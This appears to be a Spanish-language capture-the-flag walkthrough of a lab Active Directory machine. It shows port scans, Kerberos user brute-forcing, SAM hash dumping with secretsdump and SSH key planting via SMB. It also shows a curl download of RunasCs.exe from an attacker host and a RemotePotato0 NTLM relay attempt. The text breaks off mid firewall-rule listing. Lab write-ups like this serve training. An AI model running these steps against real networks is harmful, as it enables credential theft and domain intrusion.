IP: 10.129.87.96 Dificultad: Hard AD


Reconocimiento Inicial

Empiezo haciendo un ping para enviar un paquete ICMP a la victima, de esta forma podemos hacernos una idea de su sistema operativo y también si tenemos conexión a ella

ping -c1 10.129.87.96
             
PING 10.129.87.96 (10.129.87.96) 56(84) bytes of data.
64 bytes from 10.129.87.96: icmp_seq=1 ttl=127 time=54.2 ms

--- 10.129.87.96 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 54.234/54.234/54.234/0.000 ms

Vemos que hemos recibido el paquete de vuelta, esto quiere decir que tenemos conexión a la maquina, y también vemos un TTL (Time To Live) de 127 así que podemos asumir que estamos ante una maquina Windows.

Escaneo de puertos

Ahora que ya sabemos a que nos enfrentamos vamos a enumerar que puertos estan abiertos al igual que las versiones para dichos puertos.

rustscan -a "10.129.87.96" --ulimit 5000 -- -sCV -Pn -n -oN target 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.87.96:22
Open 10.129.87.96:53
Open 10.129.87.96:88
Open 10.129.87.96:139
Open 10.129.87.96:135
Open 10.129.87.96:445
Open 10.129.87.96:464
Open 10.129.87.96:593
Open 10.129.87.96:3269
Open 10.129.87.96:3268
Open 10.129.87.96:3389
Open 10.129.87.96:9389
Open 10.129.87.96:49664
Open 10.129.87.96:49668
Open 10.129.87.96:54176
Open 10.129.87.96:62337
Open 10.129.87.96:62906
Open 10.129.87.96:62917
Open 10.129.87.96:62921
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sCV -Pn -n -oN target" on ip 10.129.87.96
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2026-11-08 13:58 UTC
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
Initiating SYN Stealth Scan at 13:58
Scanning 10.129.87.96 [19 ports]
Discovered open port 3389/tcp on 10.129.87.96
Discovered open port 22/tcp on 10.129.87.96
Discovered open port 135/tcp on 10.129.87.96
Discovered open port 139/tcp on 10.129.87.96
Discovered open port 445/tcp on 10.129.87.96
Discovered open port 9389/tcp on 10.129.87.96
Discovered open port 62917/tcp on 10.129.87.96
Discovered open port 3269/tcp on 10.129.87.96
Discovered open port 3268/tcp on 10.129.87.96
Discovered open port 53/tcp on 10.129.87.96
Discovered open port 593/tcp on 10.129.87.96
Discovered open port 464/tcp on 10.129.87.96
Discovered open port 88/tcp on 10.129.87.96
Discovered open port 62906/tcp on 10.129.87.96
Discovered open port 62921/tcp on 10.129.87.96
Discovered open port 62337/tcp on 10.129.87.96
Discovered open port 54176/tcp on 10.129.87.96
Discovered open port 49668/tcp on 10.129.87.96
Discovered open port 49664/tcp on 10.129.87.96
Completed SYN Stealth Scan at 13:58, 0.23s elapsed (19 total ports)
Initiating Service scan at 13:58
Scanning 19 services on 10.129.87.96
Completed Service scan at 13:59, 55.20s elapsed (19 services on 1 host)
NSE: Script scanning 10.129.87.96.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:59
NSE Timing: About 99.96% done; ETC: 13:59 (0:00:00 remaining)
Completed NSE at 14:00, 40.06s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:00
Completed NSE at 14:00, 2.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:00
Completed NSE at 14:00, 0.00s elapsed
Nmap scan report for 10.129.87.96
Host is up, received user-set (0.11s latency).
Scanned at 2026-11-08 13:58:29 UTC for 98s

PORT      STATE SERVICE       REASON          VERSION
22/tcp    open  ssh           syn-ack ttl 127 OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-11-08 13:58:36Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: shibuya.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:AWSJPDC0522.shibuya.vl
| Issuer: commonName=shibuya-AWSJPDC0522-CA/domainComponent=shibuya
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha512WithRSAEncryption
| Not valid before: 2026-11-08T12:40:22
| Not valid after:  2027-11-08T12:40:22
| MD5:   2c9059aef11b77d4cf4d75a48b4dfeb3
| SHA-1: a4a256705d1f1fee82271a0a453780e5f776c0df
| -----BEGIN CERTIFICATE-----
| MIIHUjCCBTqgAwIBAgITIwAAAAOq8NNFqHVfDwAAAAAAAzANBgkqhkiG9w0BAQ0F
| ADBOMRIwEAYKCZImiZPyLGQBGRYCdmwxFzAVBgoJkiaJk/IsZAEZFgdzaGlidXlh
| MR8wHQYDVQQDExZzaG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JZvJBgpd0jGoW
| deG30TvWRNXbU5tsWPs9PRl2VlVof2iGeZcKQGF13xqTvlMYmjTilVBZY1GNH+Vz
| jA/sk4/BOhRbTnyBaI3f3DDm4M0lxxcYrZL+jgEvAJaIBIM+otPyUHr3sUU9YSI6
| EsUVf1+3GvwUsq4fOwD1AfyleZG7BTPfSlAAnMgePy8Lek2bP7DgnXQ7s6RJAw7m
| 3iFY/TS5XQCRde4u5SJAW81vkgKT5/1+3/+CBijwTLM4hmXgbNwDPAxYuKvlw0jp
| sv+ib6RM
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: shibuya.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:AWSJPDC0522.shibuya.vl
| Issuer: commonName=shibuya-AWSJPDC0522-CA/domainComponent=shibuya
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha512WithRSAEncryption
| Not valid before: 2026-11-08T12:40:22
| Not valid after:  2027-11-08T12:40:22
| MD5:   2c9059aef11b77d4cf4d75a48b4dfeb3
| SHA-1: a4a256705d1f1fee82271a0a453780e5f776c0df
| -----BEGIN CERTIFICATE-----
| MIIHUjCCBTqgAwIBAgITIwAAAAOq8NNFqHVfDwAAAAAAAzANBgkqhkiG9w0BAQ0F
| ADBOMRIwEAYKCZImiZPyLGQBGRYCdmwxFzAVBgoJkiaJk/IsZAEZFgdzaGlidXlh
| MR8wHQYDVQQDExZzaGlidXlhLUFXU0pQREMwNTIyLUNBMB4XDTI2MTEwODEyNDAy
| MloXDTI3MTEwODEyNDAyMlowITEfMB0GA1UEAxMWQVdTSlBEQzA1MjIuc2hpYnV5
| YS52bDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALaHe45gnINF+3gv
| qO12jZzk0nrFbZmd+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ePy8Lek2bP7DgnXQ7s6RJAw7m
| 3iFY/TS5XQCRde4u5SJAW81vkgKT5/1+3/+CBijwTLM4hmXgbNwDPAxYuKvlw0jp
| sv+ib6RM
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: SHIBUYA
|   NetBIOS_Domain_Name: SHIBUYA
|   NetBIOS_Computer_Name: AWSJPDC0522
|   DNS_Domain_Name: shibuya.vl
|   DNS_Computer_Name: AWSJPDC0522.shibuya.vl
|   DNS_Tree_Name: shibuya.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-11-08T13:59:25+00:00
|_ssl-date: 2026-11-08T14:00:05+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Issuer: commonName=AWSJPDC0522.shibuya.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-11-07T12:49:28
| Not valid after:  2027-05-09T12:49:28
| MD5:   e72851576e30240ea2afab81f3d936e7
| SHA-1: 236c555a5ebdc0cfb02990f97a621df20c069c1f
| -----BEGIN CERTIFICATE-----
| MIIC8DCCAdigAwIBAgIQRTYrUxnsaL1O3OichNnyCzANBgkqhkiG9w0BAQsFADAh
| MR8wHQYDVQQDExZBV1NKUERDMDUyMi5zaGlidXlhLnZsMB4XDTI2MTEwNzEyNDky
| OFoXDTI3MDUwOTEyNDkyOFowITEfMB0GA1UEAxMWQVdTSlBEQzA1MjIuc2hpYnV5
| YS52bDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMEwK7zvRi0LkSGQ
| 47S6hvDiLchgEQcRBuZnFuVLDkX6XrOaRQAEoDEBODeZR6mPqrcHhhOBRIVaxujs
| 3If51Z0cW/uDqB2BLdJLAOG5L3Wxi2xIu+X5RlWBi7IUiKER38hpi2cC4GFDm4wj
| krY/scL2xJplEyZxtTEx9tHOBOCV+4qDb53khpYDMTTiTKIGgBgub9cUT/LMumZG
| XN1nZtBKqxwX1btyfFd/8elGeP1kTmJ0i6Yd0MvkGlRuF7ELW4j04w6cShhP14KN
| jStlPGS4KRMUo7d/PRkuxD+sO33Eh/V+Ns+GODIfxjCvSTfHpfaI+KsAdfDm09jx
| kRXL5aUCAwEAAaMkMCIwEwYDVR0lBAwwCgYIKwYBBQUHAwEwCwYDVR0PBAQDAgQw
| MA0GCSqGSIb3DQEBCwUAA4IBAQB6IOlCmNwHw/v4d8JCD/bg8KNFgtXnFtmjArpb
| 1Rf6uakhzwJNPya7ozykvUaotL1E3uCVfIfa2TwpUO34uIcR8hGjTBaKaFN2A/6o
| Th8uyKU/F9ehKwg00+mm9uDseyz8WQeLm31wK6EGFpGrh9edXk0lZ/bfgf/Fb0yE
| EN+o//lMeJNdBCl2QJNvoU34q/DYOg2bCCvkUvW7i5yM2FMKurz60jZ+VIzezpMK
| 8mzWJJnt5JGka+ljyjM0c2PYEmSGxMnKloTxBBVNq1KJHoEC7Z8oD/EjYzgpTCGe
| J9iOinJd6cjTfZvx8MpHRx5VarGM0sF3ub5znRHrj58nXlsH
|_-----END CERTIFICATE-----
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
54176/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
62337/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
62906/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
62917/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
62921/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: AWSJPDC0522; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-11-08T13:59:26
|_  start_date: N/A
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 59256/tcp): CLEAN (Timeout)
|   Check 2 (port 54015/tcp): CLEAN (Timeout)
|   Check 3 (port 47928/udp): CLEAN (Timeout)
|   Check 4 (port 42081/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:00
Completed NSE at 14:00, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:00
Completed NSE at 14:00, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:00
Completed NSE at 14:00, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.79 seconds
           Raw packets sent: 19 (836B) | Rcvd: 19 (836B)

Fingerprinting

Siempre que estamos ante un AD con kerberos (puerto 88) enumero usuarios a travez de fuerza bruta.

kerbrute userenum -d "shibuya.vl" --dc 10.129.87.96 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Pasted image 20261108140711

User as password

Teniendo estos 2 usuarios me los guardo en un archivo y empezamos a probar en diferentes servicios como smb, ssh…

Pasted image 20261108141252

vemos que no tenemos acceso, es posible que tenga habilitada la authenticacion por kerberos, ya que hemos conseguido los usuarios a travez del puerto 88.

Pasted image 20261108141418

Sabiendo que tenemos acceso con las credenciales, enumeramos el servicio SMB para ver recursos compartidos.

Pasted image 20261108141727

Enumeracion de usuarios

vemos que tenemos acceso al NETLOGON por lo que podemos enumerar usuarios con --rid-brute o --users. Al hacerlo con --users ya que nos da acceso a la descripcion de los usuarios, podemos ver que la contraseña del usuario svc_autojoin se encuentra en la descripcion del mismo:

Pasted image 20261108141945

Si miramos si tenemos acceso a otro recurso compartido con el usuario svc_autojoin vemos que tenemos acceso a images$

Pasted image 20261108142544

Extraccion de archivos

Si entramos y descargamos todo el contenido veremos 3 archivos vmi y un archivo cab.

Pasted image 20261108144251

Tip

archivos VMI y CAB son formatos de almacenamiento de datos muy diferentes, utilizados en entornos tecnológicos totalmente distintos:

Tip

Un archivo CAB (abreviatura de Cabinet o gabinete) es el formato nativo de archivo comprimido de Microsoft Windows. Funciona de manera muy similar a un archivo ZIP o RAR.

Tip

Un archivo WIM (Windows Imaging Format) es un formato de imagen de disco basado en archivos creado por Microsoft.

Extraeremos la informacion de los archivos con el siguiente comando y lo guardaremos en diferentes carpetas:

mkdir -p extracted/{backup01,backup02,backup03}  

wimlib-imagex extract AWSJPWK0222-01.wim 1 --dest-dir=extracted/backup01 
wimlib-imagex extract AWSJPWK0222-02.wim 1 --dest-dir=extracted/backup02 
wimlib-imagex extract AWSJPWK0222-03.wim 1 --dest-dir=extracted/backup03

y haremos lo mismo con el .cab, con la herramienta cabextract.

cabextract -d extracted vss-meta.cab

Ahora si entramos en la carpeta donde hemos extraido toda la informacion veremos los siguientes archivos y carpetas.

Pasted image 20261108145249

Rojo: Archivos o carpetas relacionados con los .WIM Azul: Archivos o carpetas relaciones con el .cab

En el directorio backup02 podemos observar que tenemos los archivos SAM y SYSTEM asi que podemos dumpear los hashes nt

Pasted image 20261108145841

Asi que podemos usar la herramieta de secretdump de la suite de impacket para dumpear los hashes.

impacket-secretsdump \
-sam SAM \
-system SYSTEM \
-security SECURITY \
LOCAL

Pasted image 20261108150228

Al ejecutarlos podemos ver el hashnt del usuario Simon.Watson, con este usuarios podemos entrar a su home desde el recurso compartido users.

dentro del mismo crearemos la carpeta .ssh y forjaremos un id_rsa para poder entrar con el por el puerto 22 de la maquina victima.

Pasted image 20261108214027

ahora crearemos desde nuestra maquina el id_rsa de la siguiente manera:

ssh-keygen -t rsa -b 4096 -f ./id_rsa -N ''

cat ./id_rsa.pub

Después, usando el recurso SMB/NFS con escritura que tenemos disponible, necesitamos conseguir que el contenido de id_rsa.pub termine en:

/home/simon.watson/.ssh/authorized_keys

para subirlo desde smbclient usaremos el siguiente comando:

put ./id_rsa.pub authorized_keys

Finalmente nos conectamos desde ssh en nuestra maquina:

ssh -i ./id_rsa simon.watson@shibuya.vl

Pasted image 20261108215518

y ya tenemos acceso y tambien podemos leer la flag user.txt:

Pasted image 20261108220028

Escalada de privilegios

ya que el servicio LDAP no esta abierto, meteremos ShapHound como colector para hacer una enumeracion mas visual con bloodhound.

Pasted image 20261108220752

Una vez se termine de ejecutar el collector, lo pasaremos a nuestra maquina con scp:

Pasted image 20261108221630

una vez lo importemos en bloodhound. Vemos que hay una session interactiva desde el usuario nigel.mills. Pero con qwinsta o quser no muestra sessiones interactivas asi que utilizaremos RunasCs.exe.

> curl http://10.10.16.199:8081/RunasCs.exe -o RunasCs.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 51712  100 51712    0     0   100k      0 --:--:-- --:--:-- --:--:--  100k

> .\RunasCs.exe x x "qwinsta *" -l 9

 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
>>services                                    0  Disc
 rdp-tcp#0         nigel.mills               1  Active
 console                                     2  Conn
 rdp-tcp                                 65536  Listen

Pasted image 20261108224517

Asi que ya sabemos que hay una sesion activa, nos moveremos entre ellas con la herramienta RemotePotato0, con esto podemos ahcer un ataque de retransmision entre sesiones.

Tip

Abusa del servicio de activación de DCOM y activa una autenticación NTLM de cualquier usuario que haya iniciado sesión actualmente en la máquina de destino. Se requiere que un usuario privilegiado haya iniciado sesión en el mismo equipo (por ejemplo, un usuario de Administrador de Dominio). Una vez que se activa el NTLM type1, configuramos un servidor de retransmisión de protocolo cruzado que recibe el mensaje type1 privilegiado y lo retransmite a un tercer recurso desempaquetando el protocolo RPC y empaquetando la autenticación a través de HTTP. En el extremo receptor puede configurar otro nodo de retransmisión (por ejemplo, ntlmrelayx) o retransmitir directamente a un recurso privilegiado. RemotePotato0 también permite agarrar y robar hashes NTLMv2 de todos los usuarios registrados en una máquina.

Para este ataque nos guiaremos del mismo repositorio donde se descarga: https://github.com/antonioCoco/RemotePotato0, Al ejecutar los 2 comandos necesarios para realizar el ataque nos damos cuenta de queno funcionan:

Pasted image 20261108230558

Esto pasa ya que el firewall esta bloqueando esto mismo en un rango de puertos, asi que enumeraremos las reglas del firewall para poder saber que rango no lo pilla.

netsh advfirewall show allprofiles

Vemos que al ejecutar este comando nuestra teoria se hace realidad:

Pasted image 20261108230820

Como vemos el firewall esta activado. Asi que enumeraremos las reglas:

netsh advfirewall firewall show rule name=all |
>> ForEach-Object {
>>     if ($_ -match "^Rule Name:") {
>>         $currentRule = $_
>>         $collect = @($currentRule)
>>     } elseif ($_ -eq "") {
>>         $block = $collect -join "`n"
>>         if (
>>             $block -match "Enabled:\s+Yes" -and
>>             $block -match "Direction:\s+In" -and
>>             $block -match "Profiles:\s+.*Domain" -and
>>             $block -match "Protocol:\s+TCP"
>>         ) {
>>             $block
>>             "`n"
>>         }
>>         $collect = @()
>>     } else {
>>         $collect += $_
>>     }
>> }

Al hacerlo obtendriamos este resultado, el cual nos indica que permite conecciones en un rango de 8000-9000 n de puerto.

Rule Name:                            Custom TCP Allow
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            8000-9000 # Aqui
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            OpenSSH SSH Server (sshd)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             OpenSSH Server
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            22
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Certification Authority Enrollment and Management Protocol (CERTSVC-RPC-EPMAP-IN)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Certification Authority
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC-EPMap
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Certification Authority Enrollment and Management Protocol (CERTSVC-RPC-NP-IN)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Certification Authority
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            445
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Certification Authority Enrollment and Management Protocol (CERTSVC-DCOM-IN)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Certification Authority
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            135
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Certification Authority Enrollment and Management Protocol (CERTSVC-RPC-TCP-IN)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Certification Authority
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            File Server Remote Management (SMB-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             File Server Remote Management
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            445
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            File Server Remote Management (WMI-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             File Server Remote Management
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            File Server Remote Management (DCOM-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             File Server Remote Management
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            135
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            RPC Endpoint Mapper (TCP, Incoming)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             DNS Service
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC-EPMap
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            DNS (TCP, Incoming)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             DNS Service
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            53
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            RPC (TCP, Incoming)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             DNS Service
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Microsoft Key Distribution Service (RPC EPMAP)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Microsoft Key Distribution Service (RPC EPMAP)
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC-EPMap
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Active Directory Domain Controller - Secure LDAP (TCP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Active Directory Domain Services
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            636
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Active Directory Domain Controller (RPC-EPMAP)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Active Directory Domain Services
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC-EPMap
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Active Directory Domain Controller - Secure LDAP for Global Catalog (TCP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Active Directory Domain Services
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            3269
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Active Directory Domain Controller - LDAP for Global Catalog (TCP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Active Directory Domain Services
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            3268
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Active Directory Domain Controller - LDAP (TCP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Active Directory Domain Services
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            389
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Active Directory Domain Controller (RPC)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Active Directory Domain Services
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            File Replication (RPC)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             File Replication
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            DFS Replication (RPC-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             DFS Replication
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Active Directory Domain Controller - SAM/LSA (NP-TCP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Active Directory Domain Services
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            445
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            File Replication (RPC-EPMAP)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             File Replication
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC-EPMap
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            DFS Replication (RPC-EPMAP)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             DFS Replication
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC-EPMap
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            DFS Management (WMI-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             DFS Management
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            DFS Management (SMB-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             DFS Management
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            445
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Kerberos Key Distribution Center - PCR (TCP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Kerberos Key Distribution Center
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            464
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Active Directory Web Services (TCP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Active Directory Web Services
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            9389
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            DFS Management (DCOM-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             DFS Management
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            135
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            DFS Management (TCP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             DFS Management
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Microsoft Key Distribution Service (RPC)
----------------------------------------------------------------------
